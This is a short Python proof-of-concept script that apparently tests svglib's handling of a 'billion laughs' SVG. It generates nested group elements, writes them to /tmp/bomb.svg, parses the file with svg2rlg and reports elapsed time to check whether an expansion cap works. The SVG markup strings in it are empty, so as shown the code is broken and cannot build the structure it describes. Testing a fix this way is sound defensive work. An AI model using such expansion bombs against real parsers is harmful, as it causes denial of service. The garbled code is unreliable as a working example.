#!/usr/bin/env python3 # Calls the REAL svglib.svg2rlg() on a "billion laughs" SVG and reports # elapsed time / completion. Vulnerable builds expand without limit (exponential # CPU/memory); the fix caps expansions at MAX_USE_EXPANSIONS=10000. import json, sys, time, logging levels = int(sys.argv[1]) if len(sys.argv) > 1 else 5 fanout = int(sys.argv[2]) if len(sys.argv) > 2 else 10 groups = [''] for i in range(1, levels + 1): uses = f'' * fanout groups.append(f'{uses}') svg = ('\n' '\n' + "\n".join(groups) + f'\n\n') path = "/tmp/bomb.svg" with open(path, "w") as f: f.write(svg) import svglib.svglib as svglib logging.basicConfig(level=logging.ERROR) t0 = time.time() err = "" completed = False try: drawing = svglib.svg2rlg(path) completed = drawing is not None except Exception as e: err = f"{type(e).__name__}: {e}"[:160] elapsed = time.time() - t0 print(json.dumps({"levels": levels, "fanout": fanout, "expected_expansions": fanout ** levels, "elapsed": round(elapsed, 3), "completed": completed, "error": err, "svg_bytes": len(svg)}))